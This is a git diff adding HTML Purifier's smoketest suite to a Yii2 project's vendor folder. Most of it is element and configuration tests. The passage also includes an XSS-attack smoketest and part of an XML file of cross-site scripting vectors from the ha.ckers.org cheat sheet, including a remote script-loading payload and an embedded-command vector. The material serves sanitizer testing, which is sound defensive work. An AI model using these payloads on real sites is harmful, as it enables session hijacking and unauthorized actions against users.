        + + + * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} +#core-attributes #core-attributes-id, +#core-attributes .core-attributes-class, +#core-attributes div[title='tooltip'], +#core-attributes div[lang='en'], +#core-attributes div[onclick="alert('foo');"], +#module-text abbr, +#module-text acronym, +#module-text div blockquote, +#module-text blockquote[cite='http://www.example.com'], +#module-text br, +#module-text cite, +#module-text code, +#module-text dfn, +#module-text em, +#module-text h1, +#module-text h2, +#module-text h3, +#module-text h4, +#module-text h5, +#module-text h6, +#module-text kbd, +#module-text p, +#module-text pre, +#module-text span q, +#module-text q[cite='http://www.example.com'], +#module-text samp, +#module-text strong, +#module-text var, +#module-hypertext span a, +#module-hypertext a[accesskey='q'], +#module-hypertext a[charset='UTF-8'], +#module-hypertext a[href='http://www.example.com/'], +#module-hypertext a[hreflang='en'], +#module-hypertext a[rel='nofollow'], +#module-hypertext a[rev='index'], +#module-hypertext a[tabindex='1'], +#module-hypertext a[type='text/plain'], +#module-list dl, +#module-list ul, +#module-list ol, +#module-list li, +#module-list dd, +#module-list dt, +.insert-declarations-above + {background:#008000; margin:0; padding:0.2em;} +#module-text span, #module-text div {padding:0; margin:0.1em;} +#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} + +/* vim: et sw=4 sts=4 */ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html new file mode 100644 index 00000000..994c8df4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html @@ -0,0 +1,82 @@ + + + + + HTML Purifier All Elements Smoketest + + + + + +

        HTML Purifier All Elements Smoketest

        + +

        This is the all elements smoke +test. It is divided by XHTML 1.1 style modules. Make sure +div, span and id are allowed, +otherwise there will be problems.

        + +

        Core attributes

        +
        +
        id
        +
        class
        +
        title
        +
        lang
        +
        xml:lang (green when lang also present)
        +
        style
        +
        onclick (and other event handlers)
        +
        + +

        Text module

        +
        + abbr + acronym +
        blockquote
        +
        blockquote@cite
        +
        + cite + code + dfn + em +

        h1

        +

        h2

        +

        h3

        +

        h4

        +
        h5
        +
        h6
        + kbd +

        p

        +
        pre
        + q + q@cite + samp + strong + var +
        + +

        Hypertext module

        + + +

        List module

        +
        +
        dl dt
        dl dd
        +
        1. ol li
        +
        • ul li
        +
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css new file mode 100644 index 00000000..fb600e40 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css @@ -0,0 +1,73 @@ + +center, +dir[compact='compact'], +isindex[prompt='Foo'], +menu[compact='compact'], +s, +u, +strike, + +caption[align='bottom'], +div[align='center'], +dl[compact='compact'], + +h1[align='right'], +h2[align='right'], +h3[align='right'], +h4[align='right'], +h5[align='right'], +h6[align='right'], + +hr[align='right'], +hr[noshade='noshade'], +hr[width='50'], +hr[size='50'], + +img[align='right'], +img[border='3'], +img[hspace='5'], +img[vspace='5'], + +input[align='right'], +legend[align='center'], + +li[type='A'], +li[value='5'], + +ol[compact='compact'], +ol[start='3'], +ol[type='I'], + +p[align='right'], + +pre[width='50'], + +table[align='right'], +table[bgcolor='#0000FF'], + +tr[bgcolor='#0000FF'], + +td[bgcolor='#0000FF'], +td[height='50'], +td[nowrap='nowrap'], +td[width='200'], + +th[bgcolor='#0000FF'], +th[height='50'], +th[nowrap='nowrap'], +th[width='200'], + +ul[compact='compact'], +ul[type='square'], + +.insert-declarations-above + {background:#008000; color:#FFF; font-weight:bold;} + +font {background:#BFB;} +u {border:1px solid #000;} +hr {height:1em;} +hr[size='50'] {height:50px;} +img[border='3'] {border: 3px solid #000;} +li[type='a'], li[value='5'] {color:#DDD;} + +/* vim: et sw=4 sts=4 */ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html new file mode 100644 index 00000000..0ff1c7b5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html @@ -0,0 +1,127 @@ + + + + + HTML Purifier Legacy Smoketest Test Data + + + + + +

        HTML Purifier Legacy Smoketest Test Data

        + +

        This is the legacy smoketest.

        + +

        Elements

        + +
        +
        + + basefont: Green, Arial, size 6 text (IE-only) +
        + +
        center
        + + +
      27. dir
      28. +
        + +font: Green, Arial, size 6 text + +isindex: + + + +
      29. menu
      30. +
        + +s strike u +
        + +

        Attributes

        + +
        + + +
        *
        +
        +

        br@clear (asterisk is up)

        + + + + +
        caption@align
        Cell
        + +
        div@center
        + +
        +
        dl@compact
        +
        + +

        h1

        +

        h2

        +

        h3

        +

        h4

        +
        h5
        +
        h6
        + +hr@align +
        +hr@noshade +
        +hr@width +
        +hr@size +
        + +img@align | +img@border | +img@hspace | +img@vspace + + + +Legend + +
          +
        1. li@type (ensure that it's a capital A)
        2. +
        3. li@value
        4. +
        + +
        1. ol@compact
        +
        1. ol@start
        +
        1. ol@type
        + +

        p@align

        + +
        pre@width
        + + + +
        table@align
        +
        table@bgcolor
        + +
        tr@bgcolor
        + +
        td@bgcolor
        +
        td@height
        +
        td@nowrap
        +
        td@width
        + +
        th@bgcolor
        +
        th@height
        +
        th@nowrap
        +
        th@width
        + +
        • ul@compact
        +
        • ul@square
        + +
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php new file mode 100644 index 00000000..642a7531 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php @@ -0,0 +1,14 @@ +set('HTML.Doctype', 'HTML 4.01 Strict'); +$config->set('HTML.Allowed', 'b,a[href],br'); +$config->set('CSS.AllowTricky', true); +$config->set('URI.Disable', true); +$serial = $config->serialize(); + +$result = unserialize($serial); +$purifier = new HTMLPurifier($result); +echo htmlspecialchars($purifier->purify('Bold
        no formatting')); diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/common.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/common.php new file mode 100644 index 00000000..b2c2b4bb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/common.php @@ -0,0 +1,39 @@ + $val) { + if (!is_array($val)) { + $array[$k] = stripslashes($val); + } else { + fix_magic_quotes($array[$k]); + } + } + } + + fix_magic_quotes($_GET); + fix_magic_quotes($_POST); + fix_magic_quotes($_COOKIE); + fix_magic_quotes($_REQUEST); + fix_magic_quotes($_ENV); + fix_magic_quotes($_SERVER); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/configForm.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/configForm.php new file mode 100644 index 00000000..90e80ac5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/configForm.php @@ -0,0 +1,77 @@ +validate(); + +if (isset($_GET['doc'])) { + + // Hijack page generation to supply documentation + + if (file_exists('test-schema.html') && !isset($_GET['purge'])) { + echo file_get_contents('test-schema.html'); + exit; + } + + $style = 'plain'; + $configdoc_xml = 'test-schema.xml'; + + $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); + $xml_builder->openURI($configdoc_xml); + $xml_builder->build($interchange); + unset($xml_builder); // free handle + + $xslt = new ConfigDoc_HTMLXSLTProcessor(); + $xslt->importStylesheet("../configdoc/styles/$style.xsl"); + $xslt->setParameters(array( + 'css' => '../configdoc/styles/plain.css', + )); + $html = $xslt->transformToHTML($configdoc_xml); + + unlink('test-schema.xml'); + file_put_contents('test-schema.html', $html); + echo $html; + + exit; +} + +?> + + + HTML Purifier Config Form Smoketest + + + + + +

        HTML Purifier Config Form Smoketest

        +

        This file outputs the configuration form for every single type +of directive possible.

        + +build($interchange); + +$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); +$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); +echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); + +?> + +
        +getAll(), true));
        +?>
        +
        + + +'; +?> + + + HTML Purifier data Scheme Smoketest + + + +

        HTML Purifier data Scheme Smoketest

        +'; + +$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); + +?> +
        purify($string); +?>
        + + + + +Error: CSSTidy library not +found, please install and configure test-settings.php +accordingly. + true, +)); + +$html = isset($_POST['html']) ? $_POST['html'] : ''; +$purified_html = $purifier->purify($html); + +?> + + + Extract Style Blocks - HTML Purifier Smoketest + +context->get('StyleBlocks') as $style) { +?> + + + +

        Extract Style Blocks

        +

        + This smoketest allows users to specify global style sheets for the + document, allowing for interesting techniques and compact markup + that wouldn't normally be possible, using the ExtractStyleBlocks filter. +

        +

        + User submitted content: +

        +
        + +
        +
        + + +
        + + + + + innerHTML smoketest + + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js new file mode 100644 index 00000000..74ccbb68 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js @@ -0,0 +1,51 @@ +var alphabet = 'a!`=[]\\;\':"/<> &'; + +var out = document.getElementById('out'); +var testContainer = document.getElementById('testContainer'); + +function print(s) { + out.value += s + "\n"; +} + +function testImage() { + return testContainer.firstChild; +} + +function test(input) { + var count = 0; + var oldInput, newInput; + testContainer.innerHTML = ""; + testImage().setAttribute("alt", input); + print("------"); + print("Test input: " + input); + do { + oldInput = testImage().getAttribute("alt"); + var intermediate = testContainer.innerHTML; + print("Render: " + intermediate); + testContainer.innerHTML = intermediate; + if (testImage() == null) { + print("Image disappeared..."); + break; + } + newInput = testImage().getAttribute("alt"); + print("New value: " + newInput); + count++; + } while (count < 5 && newInput != oldInput); + if (count == 5) { + print("Failed to achieve fixpoint"); + } + testContainer.innerHTML = ""; +} + +print("Go!"); + +test("`` "); +test("'' "); + +for (var i = 0; i < alphabet.length; i++) { + for (var j = 0; j < alphabet.length; j++) { + test(alphabet.charAt(i) + alphabet.charAt(j)); + } +} + +// document.getElementById('out').textContent = alphabet; diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php new file mode 100644 index 00000000..1dfa85cb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php @@ -0,0 +1,72 @@ +'; +?> + + + HTML Purifier Preserve YouTube Smoketest + + + +

        HTML Purifier Preserve YouTube Smoketest

        + + + + + + + + + +'; + +$regular_purifier = new HTMLPurifier(); + +$safeobject_purifier = new HTMLPurifier(array( + 'HTML.SafeObject' => true, + 'Output.FlashCompat' => true, +)); + +?> +

        Unpurified

        +

        Click here to see the unpurified version (breaks validation).

        +
        + +

        Without YouTube exception

        +
        purify($string); +?>
        + +

        With SafeObject exception and flash compatibility

        +
        purify($string); +?>
        + + + +prepareGenerator($gen_config); +$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); +$printer_css_definition->prepareGenerator($gen_config); + +$printer_config_form = new HTMLPurifier_Printer_ConfigForm( + 'config', + 'http://htmlpurifier.org/live/configdoc/plain.html#%s' +); + +echo ''; + +?> + + + + HTML Purifier Printer Smoketest + + + + + + + +

        HTML Purifier Printer Smoketest

        + +

        HTML Purifier claims to have a robust yet permissive whitelist: this +page will allow you to see precisely what HTML Purifier's internal +whitelist is. You can +also twiddle with the configuration settings to see how a directive +influences the internal workings of the definition objects.

        + +

        Modify configuration

        + +

        You can specify an array by typing in a comma-separated +list of items, HTML Purifier will take care of the rest (including +transformation into a real array list or a lookup table).

        + +
        +render($config, 'HTML'); +?> +

        * Some configuration directives make a distinction between an empty +variable and a null variable. A whitelist, for example, will take an +empty array as meaning no allowed elements, while checking +Null/Disabled will mean that user whitelisting functionality is disabled.

        +
        + +

        Definitions

        + +
        +
        Parent of Fragment
        +
        HTML that HTML Purifier does not live in a void: when it's + output, it has to be placed in another element by means of + something like <element> <?php echo $html + ?> </element>. The parent in this example + is element.
        +
        Strict mode
        +
        Whether or not HTML Purifier's output is Transitional or + Strict compliant. Non-strict mode still actually a little strict + and converts many deprecated elements.
        +
        #PCDATA
        +
        Literally Parsed Character Data, it is regular + text. Tags like ul don't allow text in them, so + #PCDATA is missing.
        +
        Tag transform
        +
        A tag transform will change one tag to another. Example: font + turns into a span tag with appropriate CSS.
        +
        Attr Transform
        +
        An attribute transform changes a group of attributes based on one + another. Currently, only lang and xml:lang + use this hook, to synchronize each other's values. Pre/Post indicates + whether or not the transform is done before/after validation.
        +
        Excludes
        +
        Tags that an element excludes are excluded for all descendants of + that element, and not just the children of them.
        +
        Name(Param1, Param2)
        +
        Represents an internal data-structure. You'll have to check out + the corresponding classes in HTML Purifier to find out more.
        +
        + +

        HTMLDefinition

        +render($config) ?> +

        CSSDefinition

        +render($config) ?> + + + 'val1', 'key2' => 'val2') +DESCRIPTION: The hash type is an associative array of string keys and string values. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt new file mode 100644 index 00000000..157df3f3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt @@ -0,0 +1,5 @@ +Type.int +TYPE: int +DEFAULT: 23 +DESCRIPTION: The int type is an signed integer. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt new file mode 100644 index 00000000..dfd43aa4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt @@ -0,0 +1,5 @@ +Type.istring +TYPE: istring +DEFAULT: 'case insensitive' +DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt new file mode 100644 index 00000000..97140dea --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt @@ -0,0 +1,5 @@ +Type.itext +TYPE: itext +DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" +DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt new file mode 100644 index 00000000..55497fcd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt @@ -0,0 +1,5 @@ +Type.list +TYPE: list +DEFAULT: array('item1', 'item2') +DESCRIPTION: The list type is a numerically indexed array of strings. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt new file mode 100644 index 00000000..b2479912 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt @@ -0,0 +1,5 @@ +Type.lookup +TYPE: lookup +DEFAULT: array('key1' => true, 'key2' => true) +DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt new file mode 100644 index 00000000..8bc14bbe --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt @@ -0,0 +1,5 @@ +Type.mixed +TYPE: mixed +DEFAULT: new stdclass() +DESCRIPTION: The mixed type allows any type, and is not form-editable. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt new file mode 100644 index 00000000..d3d756fc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt @@ -0,0 +1,7 @@ +Type.nullbool +TYPE: bool/null +DEFAULT: null +--DESCRIPTION-- +Null booleans need to be treated a little specially. See %Type.nullstring +for information on what the null flag does. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt new file mode 100644 index 00000000..4db33235 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt @@ -0,0 +1,9 @@ +Type.nullstring +TYPE: string/null +DEFAULT: null +--DESCRIPTION-- +The null type is not a type, but a flag that can be added to any type +making null a valid value for that entry. It's useful for saying, "Let +the software pick the value for me," or "Don't use this element" when +false has a special meaning. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt new file mode 100644 index 00000000..4cde4090 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt @@ -0,0 +1,5 @@ +Type.string +TYPE: string +DEFAULT: 'Case sensitive' +DESCRIPTION: The string type is short (no newlines) and case-sensitive. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt new file mode 100644 index 00000000..5fca4d56 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt @@ -0,0 +1,5 @@ +Type.text +TYPE: text +DEFAULT: "Case sensitive\nand\npossibly\nquite long..." +DESCRIPTION: The text type has newlines and is case-sensitive. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt new file mode 100644 index 00000000..b4761220 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt @@ -0,0 +1,3 @@ +Type +DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini new file mode 100644 index 00000000..438e8acc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini @@ -0,0 +1,3 @@ +name = "Test Schema" + +; vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php new file mode 100644 index 00000000..f3b6e821 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php @@ -0,0 +1,57 @@ +'; +?> + + + HTML Purifier Variable Width Attack Smoketest + + + +

        HTML Purifier Variable Width Attack Smoketest

        +

        For more information, see +Cheng Peng Su's +original advisory. This particular exploit code appears only to work +in Internet Explorer, if it works at all.

        +

        Test

        + + + + +A"'; // in our out the attribute? ;-) + $html .= "onerror=alert('$i')>O"; + $pure_html = $purifier->purify($html); +?> + + + + + + + + +
        ASCIIRawOutputRender
        + +

        Analysis

        + +

        By making sure that UTF-8 is well formed and non-SGML codepoints are +removed, as well as escaping quotes outside of tags, this is a non-threat.

        + + + +\t', '»', '\0'), + escapeHTML( + str_replace("\0", '\0(null)', + wordwrap($string, 28, " »\n", true) + ) + ) + ); +} + +?> + + + HTML Purifier XSS Attacks Smoketest + + + + +

        HTML Purifier XSS Attacks Smoketest

        +

        XSS attacks are from +http://ha.ckers.org/xss.html.

        +

        Caveats: +Google.com has been programatically disallowed, but as you can +see, there are ways of getting around that, so coverage in this area +is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. +The displayed code is not strictly correct, as linebreaks have been forced for +readability. Linewraps have been marked with ». Some tests are +omitted for your convenience. Not all control characters are displayed.

        + +

        Test

        +Requires PHP 5.

        '); + +$xml = simplexml_load_file('xssAttacks.xml'); + +// programatically disallow google.com for URI evasion tests +// not complete +$config = HTMLPurifier_Config::createDefault(); +$config->set('URI.HostBlacklist', array('google.com')); +$purifier = new HTMLPurifier($config); + +?> + + + +attack as $attack) { + $code = $attack->code; + + // custom code for null byte injection tests + if (substr($code, 0, 7) == 'perl -e') { + $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); + $code = str_replace('\0', "\0", $code); + } + + // disable vectors we cannot test in any meaningful way + if ($code == 'See Below') continue; // event handlers, whitelist defeats + if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript + if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response + + // custom code for US-ASCII, which couldn't be expressed in XML without encoding + if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); +?> + > + + + purify($code); ?> + + + + + +
        NameRawOutputRender
        name); ?>
        + + + + + + XSS Locator + ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} + + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + XSS Quick Test + '';!--"<XSS>=&{()} + If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Alert() + <SCRIPT>alert('XSS')</SCRIPT> + Basic injection attack + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Source File + <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> + No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Char Code + <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BASE + <BASE HREF="javascript:alert('XSS');//"> + Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + BGSOUND + <BGSOUND SRC="javascript:alert('XSS');"> + BGSOUND + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BODY background-image + <BODY BACKGROUND="javascript:alert('XSS');"> + BODY image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BODY ONLOAD + <BODY ONLOAD=alert('XSS')> + BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + DIV background-image 1 + <DIV STYLE="background-image: url(javascript:alert('XSS'))"> + Div background-image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + DIV background-image 2 + <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> + Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + DIV expression + <DIV STYLE="width: expression(alert('XSS'));"> + Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + FRAME + <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> + Frame (Frames have the same sorts of XSS problems as iframes). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IFRAME + <IFRAME SRC="javascript:alert('XSS');"></IFRAME> + Iframe (If iframes are allowed there are a lot of other XSS problems as well). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + INPUT Image + <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> + INPUT Image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG w/JavaScript Directive + <IMG SRC="javascript:alert('XSS');"> + Image XSS using the JavaScript directive. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG No Quotes/Semicolon + <IMG SRC=javascript:alert('XSS')> + No quotes and no semicolon + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG Dynsrc + <IMG DYNSRC="javascript:alert('XSS');"> + IMG Dynsrc + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG Lowsrc + <IMG LOWSRC="javascript:alert('XSS');"> + IMG Lowsrc + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG Embedded commands 1 + <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> + This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG Embedded commands 2 + Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser + IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses 